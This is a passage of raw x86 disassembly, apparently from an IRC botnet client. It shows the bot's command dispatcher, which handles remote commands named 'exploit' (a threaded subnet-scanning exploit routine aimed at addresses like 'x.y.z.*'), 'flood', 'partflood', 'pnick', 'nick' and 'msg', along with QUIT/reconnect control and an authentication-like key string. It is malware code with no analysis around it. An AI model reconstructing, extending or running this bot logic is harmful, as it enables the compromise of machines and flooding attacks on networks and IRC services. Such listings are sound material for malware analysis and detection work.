		lea	eax, [ebp+var_2C4]
		push	offset dword_42E1E0
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40A203
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_40A26E
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_403FDE


loc_403FC8:				; CODE XREF: sub_401AC7+2515j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_40641F
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_403FC8
; ---------------------------------------------------------------------------


loc_403FDE:				; CODE XREF: sub_401AC7+24FFj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E1A4
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	loc_40641F
; ---------------------------------------------------------------------------


loc_403FFE:				; CODE XREF: sub_401AC7+1324j
					; sub_401AC7+1339j
		push	offset aK3ysddtmtm ; "k3ysddtmtm"
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E18C
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 20h
		jmp	loc_40641F
; ---------------------------------------------------------------------------


loc_404035:				; CODE XREF: sub_401AC7+12FAj
					; sub_401AC7+130Fj
		push	dword_4C9544
		call	sub_417249
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E160
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 24h
		jmp	loc_40641F
; ---------------------------------------------------------------------------


loc_404073:				; CODE XREF: sub_401AC7+12D0j
					; sub_401AC7+12E5j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4040A5
		cmp	[ebp+var_C], ebx
		jz	short loc_4040B4
		push	esi
		push	[ebp+var_C]
		call	sub_417E10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4040B4
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		add	esp, 0Ch
		jmp	short loc_4040B4
; ---------------------------------------------------------------------------


loc_4040A5:				; CODE XREF: sub_401AC7+25B5j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		pop	ecx
		pop	ecx


loc_4040B4:				; CODE XREF: sub_401AC7+25BAj
					; sub_401AC7+25C9j ...
		push	0FFFFFFFEh
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4040BB:				; CODE XREF: sub_401AC7+12A6j
					; sub_401AC7+12BBj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	offset dword_42E110
		call	sub_413B5E
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E8E
; ---------------------------------------------------------------------------


loc_4040DD:				; CODE XREF: sub_401AC7+127Cj
					; sub_401AC7+1291j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	offset dword_42E0DC
		call	sub_413B5E
		add	esp, 0Ch
		jmp	loc_4089B1
; ---------------------------------------------------------------------------


loc_4040FC:				; CODE XREF: sub_401AC7+1252j
					; sub_401AC7+1267j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A8E4
		jmp	loc_4043A5
; ---------------------------------------------------------------------------


loc_404112:				; CODE XREF: sub_401AC7+1228j
					; sub_401AC7+123Dj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A890
		jmp	loc_4043A5
; ---------------------------------------------------------------------------


loc_404128:				; CODE XREF: sub_401AC7+11FEj
					; sub_401AC7+1213j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A825
		jmp	loc_4043A5
; ---------------------------------------------------------------------------


loc_40413E:				; CODE XREF: sub_401AC7+11D4j
					; sub_401AC7+11E9j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A757
		jmp	loc_4043A5
; ---------------------------------------------------------------------------


loc_404154:				; CODE XREF: sub_401AC7+112Fj
					; sub_401AC7+1144j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42E0CC
		push	offset dword_42E0BC
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_40416C:				; CODE XREF: sub_401AC7+D66j
					; sub_401AC7+D7Bj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40418B
		push	edi
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jz	short loc_40418B
		push	edi
		call	sub_417C89
		pop	ecx
		jmp	short loc_404190
; ---------------------------------------------------------------------------


loc_40418B:				; CODE XREF: sub_401AC7+26AEj
					; sub_401AC7+26B9j
		mov	eax, dword_425074


loc_404190:				; CODE XREF: sub_401AC7+26C2j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_4041B5
		push	esi


loc_4041A2:				; CODE XREF: sub_401AC7+26FDj
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_417E90
		add	esp, 0Ch
		jmp	short loc_4041CC
; ---------------------------------------------------------------------------


loc_4041B5:				; CODE XREF: sub_401AC7+26D8j
		cmp	[ebp+var_8FF], bl
		jz	short loc_4041C6
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_4041A2
; ---------------------------------------------------------------------------


loc_4041C6:				; CODE XREF: sub_401AC7+26F4j
		mov	[ebp+var_5A0], bl


loc_4041CC:				; CODE XREF: sub_401AC7+26ECj
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_417E90
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E094
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40A203
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset sub_4102C5
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40427D


loc_404267:				; CODE XREF: sub_401AC7+27B4j
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E8B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_404267
; ---------------------------------------------------------------------------


loc_40427D:				; CODE XREF: sub_401AC7+279Ej
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E058
		jmp	loc_40206E
; ---------------------------------------------------------------------------


loc_40428E:				; CODE XREF: sub_401AC7+CFCj
					; sub_401AC7+D11j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042AE
		push	esi
		call	sub_417C89
		test	ax, ax
		pop	ecx
		jz	short loc_4042AE
		push	esi
		call	sub_417C89
		pop	ecx
		jmp	short loc_4042B4
; ---------------------------------------------------------------------------


loc_4042AE:				; CODE XREF: sub_401AC7+27D0j
					; sub_401AC7+27DCj
		mov	ax, word_425084


loc_4042B4:				; CODE XREF: sub_401AC7+27E5j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_417E90
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E02C
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_408C5D
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40A203
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset sub_40D60D
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_404383


loc_40436D:				; CODE XREF: sub_401AC7+28BAj
		cmp	[ebp+var_968], ebx
		jnz	loc_401E8B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40436D
; ---------------------------------------------------------------------------


loc_404383:				; CODE XREF: sub_401AC7+28A4j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DFEC
		jmp	loc_40206E
; ---------------------------------------------------------------------------


loc_404394:				; CODE XREF: sub_401AC7+CD2j
					; sub_401AC7+CE7j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41706C


loc_4043A5:				; CODE XREF: sub_401AC7+2646j
					; sub_401AC7+265Cj ...
		add	esp, 0Ch
		jmp	loc_408A45
; ---------------------------------------------------------------------------


loc_4043AD:				; CODE XREF: sub_401AC7+CA8j
					; sub_401AC7+CBDj
		push	offset unk_42DF3C
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_4043B7:				; CODE XREF: sub_401AC7+C7Ej
					; sub_401AC7+C93j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404417
		push	esi
		call	sub_417C89
		cmp	eax, ebx
		pop	ecx
		jl	short loc_40440C
		cmp	eax, 3
		jge	short loc_40440C
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_404401
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42EEFC
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4079A7
; ---------------------------------------------------------------------------


loc_404401:				; CODE XREF: sub_401AC7+2919j
		push	eax
		push	offset unk_42DF10
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_40440C:				; CODE XREF: sub_401AC7+2904j
					; sub_401AC7+2909j
		push	eax
		push	offset unk_42DEE4
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_404417:				; CODE XREF: sub_401AC7+28F9j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40441C:				; CODE XREF: sub_401AC7+2971j
		push	[ebp+var_90]
		push	edi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40443F
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_40441C
		jmp	loc_4079A7
; ---------------------------------------------------------------------------


loc_40443F:				; CODE XREF: sub_401AC7+2965j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42EEFC
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_404459:				; CODE XREF: sub_401AC7+C54j
					; sub_401AC7+C69j
		push	[ebp+var_8C]
		push	offset dword_42EE70
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40313E
		call	sub_40A3CC
		push	ebx
		call	dword_423064	; ExitProcess


loc_40447F:				; CODE XREF: sub_401AC7+16B0j
		push	offset aGet	; "get"
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404525
		cmp	dword_4CCFB0, ebx
		jz	short loc_4044AB
		push	offset dword_4CC990
		push	offset unk_42DEA8
		jmp	loc_404537
; ---------------------------------------------------------------------------


loc_4044AB:				; CODE XREF: sub_401AC7+29D3j
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	dword_423214	; getsockname
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_C74]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_C74]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42DEA8
		push	eax
		call	sub_417D96
		add	esp, 20h
		jmp	loc_403196
; ---------------------------------------------------------------------------


loc_404525:				; CODE XREF: sub_401AC7+29C7j
		push	esi
		call	dword_4C9838	; inet_addr
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40454B
		push	offset unk_42DE68


loc_404537:				; CODE XREF: sub_401AC7+29DFj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	loc_403196
; ---------------------------------------------------------------------------


loc_40454B:				; CODE XREF: sub_401AC7+2A69j
		push	offset dword_4CC990
		call	sub_4183B0
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42DE3C
		push	eax
		mov	dword_4CCFB0, 1
		call	sub_417D96
		add	esp, 14h
		jmp	loc_403196
; ---------------------------------------------------------------------------


loc_404579:				; CODE XREF: sub_401AC7+1698j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404673
		mov	eax, [ebp+var_4]
		mov	esi, offset dword_425134
		mov	[ebp+var_1190],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_118C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_11A0],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1220]
		push	edi
		push	eax
		mov	[ebp+var_1198],	1
		call	sub_417E90
		push	esi
		lea	eax, [ebp+var_12A0]
		push	edi
		push	eax
		call	sub_417E90
		push	[ebp+arg_10]
		lea	eax, [ebp+var_12B0]
		push	10h
		push	eax
		call	sub_417E90
		lea	eax, [ebp+var_12B0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42DE04
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40A203
		add	esp, 3Ch
		mov	[ebp+var_1194],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_12B0]
		push	ebx
		push	eax
		push	offset sub_40A9AA
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_1194]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_404662


loc_40464C:				; CODE XREF: sub_401AC7+2B99j
		cmp	[ebp+var_1188],	ebx
		jnz	loc_4079A7
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40464C
; ---------------------------------------------------------------------------


loc_404662:				; CODE XREF: sub_401AC7+2B83j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DDC4
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_404673:				; CODE XREF: sub_401AC7+2AC1j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089B8
		push	edi
		push	offset aRin	; "rin"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089B8
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408972
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408972
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_418570
		mov	edi, dword_423078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40522F
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_418570
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404776
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404776
		push	[ebp+esi+var_80]
		call	sub_417C89
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_417C89
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_414B34
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42DD64
		push	eax
		call	sub_417D96
		add	esp, 20h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404776
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_404776:				; CODE XREF: sub_401AC7+2C3Bj
					; sub_401AC7+2C41j ...
		push	[ebp+arg_10]
		push	offset dword_42DD60
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4047DF
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_4047DF
		push	offset asc_42EF5C ; " "
		push	offset dword_42DD5C
		push	eax
		call	sub_414FC3
		push	eax
		lea	eax, [ebp+var_4250]
		push	eax
		call	sub_4183B0
		lea	eax, [ebp+var_4250]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42DD4C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 28h


loc_4047DF:				; CODE XREF: sub_401AC7+2CC0j
					; sub_401AC7+2CCBj
		push	[ebp+arg_10]
		push	offset dword_42DD48
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404848
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404848
		push	offset asc_42EF5C ; " "
		push	offset dword_42DD5C
		push	eax
		call	sub_414FC3
		push	eax
		lea	eax, [ebp+var_3B4C]
		push	eax
		call	sub_4183B0
		lea	eax, [ebp+var_3B4C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42DD34
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 28h


loc_404848:				; CODE XREF: sub_401AC7+2D29j
					; sub_401AC7+2D34j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4048B1
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_4048B1
		push	offset asc_42EF5C ; " "
		push	offset dword_42DD5C
		push	eax
		call	sub_414FC3
		push	eax
		lea	eax, [ebp+var_3C4C]
		push	eax
		call	sub_4183B0
		lea	eax, [ebp+var_3C4C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 28h


loc_4048B1:				; CODE XREF: sub_401AC7+2D92j
					; sub_401AC7+2D9Dj
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40491A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40491A
		push	offset asc_42EF5C ; " "
		push	offset dword_42DD5C
		push	eax
		call	sub_414FC3
		push	eax
		lea	eax, [ebp+var_3F4C]
		push	eax
		call	sub_4183B0
		lea	eax, [ebp+var_3F4C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 28h


loc_40491A:				; CODE XREF: sub_401AC7+2DFBj
					; sub_401AC7+2E06j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404959
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404959
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 10h


loc_404959:				; CODE XREF: sub_401AC7+2E64j
					; sub_401AC7+2E6Fj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404998
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404998
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 10h


loc_404998:				; CODE XREF: sub_401AC7+2EA3j
					; sub_401AC7+2EAEj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4049DC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_4049DC
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h


loc_4049DC:				; CODE XREF: sub_401AC7+2EE2j
					; sub_401AC7+2EEDj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A51
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404A51
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		call	sub_417DF2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_1560]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42DCCC
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_1560]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DCC4
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 24h


loc_404A51:				; CODE XREF: sub_401AC7+2F26j
					; sub_401AC7+2F2Fj
		push	[ebp+arg_10]
		push	offset dword_42DCB8
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404B98
		cmp	[ebp+esi+var_88], ebx
		jz	loc_404B98
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 24h
		call	sub_417DF2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 10h
		call	sub_417DF2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 24h
		call	sub_417DF2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h


loc_404B98:				; CODE XREF: sub_401AC7+2F9Bj
					; sub_401AC7+2FA8j
		push	[ebp+arg_10]
		push	offset dword_42DCB4
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404C32
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404C32
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		call	sub_417DF2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_417DF2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_417DF2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_417DF2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_417DF2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42DC8C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 24h


loc_404C32:				; CODE XREF: sub_401AC7+30E2j
					; sub_401AC7+30EFj
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404D2F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_404D2F
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_414BB2
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DCC4
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 24h
		call	sub_417DF2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_414BB2
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DCC4
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h
		call	sub_417DF2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_414BB2
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DCC4
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h


loc_404D2F:				; CODE XREF: sub_401AC7+317Cj
					; sub_401AC7+318Bj
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D75
		lea	eax, [ebp+var_15B4]
		push	eax
		call	sub_414BB2
		lea	eax, [ebp+var_15B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DCC4
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h


loc_404D75:				; CODE XREF: sub_401AC7+3279j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404E61
		cmp	[ebp+esi+var_88], ebx
		jz	loc_404E61
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42DD4C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 24h
		call	sub_417DF2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
